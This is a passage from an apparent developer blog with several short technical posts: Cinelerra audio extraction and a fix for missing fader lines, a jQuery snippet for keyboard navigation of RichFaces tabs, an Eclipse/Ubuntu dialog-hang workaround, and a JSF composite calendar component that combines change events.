Also, I could not get Cinelerra to read the sound from the resulting file (complains about missing ‘lpcm’ codec), so I had to take another intermediate step to extract the audio from the file, so I can import it separately:

$ mplayer output.mov -vo null -vc dummy -ao:file=sound.wav

Once I import output.mov into Cinelerra, I delete the audio tracks and I replace them with sound.wav, which work well.

Improvements

Aside from some new features here and there, the most obvious advantage of Cinelerra 4.4 over the Community Version is that the video processing and playback appears to be faster. I get about 10 FPS in cinelerra-cv, whereas Cinelerra 4.4 gives me 20 FPS, which makes the video manipulation and playback much smoother. Nice.

Missing Faders in Video Tracks

Aside from some minor problems, like missing icons for transitions and other resources, the most severe problem I ran into was the missing Fader line in video tracks. The audio tracks still had the Faders, but in Video tracks the horizontal white line was just gone.

Here is what it looks like:

Missing Faders

If this happens to you, the fix is to press the 3rd button from the right in the tool bar. It is called “Fit autos to display (Alt + f)”. What it will do is change the fade range in the drop down at the bottom from “-10.00 – 10.00” to something like “-33.00 – 133.00” in my case. You can also select “0 – 100” from that drop down as an alternative.

Navigate <rich:tabPanel /> with keyboard

<rich:tabPanel /> does not support any keyboard interactions out of the box. One way to add it is to include the following javascript code:

 

/**
 * WCAG requires keyboard navigation for tabs. This code turns all inactive tabs into links,
 * so the browser starts tabbing over them. 
 * 
 * Author: Val Blant
 */
jQuery(document).ready(function() {
	jQuery("td.rf-tab-hdr-inact").children('span').each(function() {
		var tabName = jQuery(this).html();
		jQuery(this).empty();
		jQuery(this).append("<a href='#' style='text-decoration:none; color: black;' onclick='return false;'>" + tabName + "</a>");
	});
});

Eclipse Open Type dialog hangs

Tags

I noticed that on recent versions of Eclipse and Ubuntu, Eclipse’s Open Type dialog (Ctrl-Shift-T) often freezes for an annoying period of time as soon as you start typing your class name.

Here is the related bug:
https://bugzilla.gnome.org/show_bug.cgi?id=575873

Workaround

A temporary solution I found is to make sure that gail is not used by simply renaming the file:

/usr/lib/x86_64-linux-gnu:
lrwxrwxrwx 1 root root 22 Feb 4 16:18 libgailutil-3.so.0 -> libgailutil-3.so.0.0.0
-rw-r--r-- 1 root root 35440 Apr 16 2012 libgailutil-3.so.0.0.0
-rw-r--r-- 1 root root 31304 Mar 26 2012 libgailutil.so.18.0.1.OFF

Triggering a “change” ajax event on <rich:calendar />.

Problem Statement

Let’s say that we want to trigger an ajax request when the user changes the value in a <rich:calendar />, but it has to work when the user types the date into the text field manually, as well as when the user uses the calendar to pick the date.

<rich:calendar /> defines two events just for this purpose:

  • “change”: Triggered when the date is changed from the calendar
  • “inputchange”: Triggered when the text in the text field is changed manually

But how do we combine them?

Solution

I already had my calendar inside a Composite JSF Component, so my solution uses the following approach.

YourWebApp/WebContent/resources/components/calendar.xhtml:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" 
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml"
	xmlns:h="http://java.sun.com/jsf/html"
	xmlns:f="http://java.sun.com/jsf/core"
	xmlns:c="http://java.sun.com/jsp/jstl/core"
	xmlns:rich="http://richfaces.org/rich"
	xmlns:a4j="http://richfaces.org/a4j"
	xmlns:composite="http://java.sun.com/jsf/composite">

<composite:interface>
	<composite:attribute name="value" required="true" />
	<composite:attribute name="timeZone" required="true" />
	<composite:attribute name="disabled" default="false" />
	<composite:attribute name="displayValueOnly" default="false" />
	<composite:attribute name="required" />

	<composite:clientBehavior name="date_change" event="change" targets="#{cc.id}"/>
	<composite:clientBehavior name="date_change" event="inputchange" targets="#{cc.id}"/>
</composite:interface>

<composite:implementation>

	<c:if test="#{cc.attrs.displayValueOnly == false}">
		<rich:calendar id="#{cc.id}" 
				inputSize="10" 
				required="#{cc.attrs.required}" 
				enableManualInput="true" 
				value="#{cc.attrs.value}" 
				disabled="#{cc.attrs.disabled}" 
				datePattern="yyyy-MM-dd"
				onchange="if (DirtyFieldHandler) DirtyFieldHandler.setDirty();">
			<f:convertDateTime pattern="yyyy-MM-dd" timeZone="#{cc.attrs.timeZone}" />
		</rich:calendar>
	</c:if>

	<c:if test="#{cc.attrs.displayValueOnly == true}">
		<h:inputText value="#{cc.attrs.value}" disabled="true" id="#{cc.id}InputDate" size="10">
			<f:convertDateTime pattern="yyyy-MM-dd" timeZone="#{cc.attrs.timeZone}" />
		</h:inputText>
	</c:if>

</composite:implementation>
</html>

Then we use the component like so:

  <comp:calendar value="#{backingBean.approvedDate}">
     <a4j:ajax event="date_change" execute="@this" />
  </comp:calendar>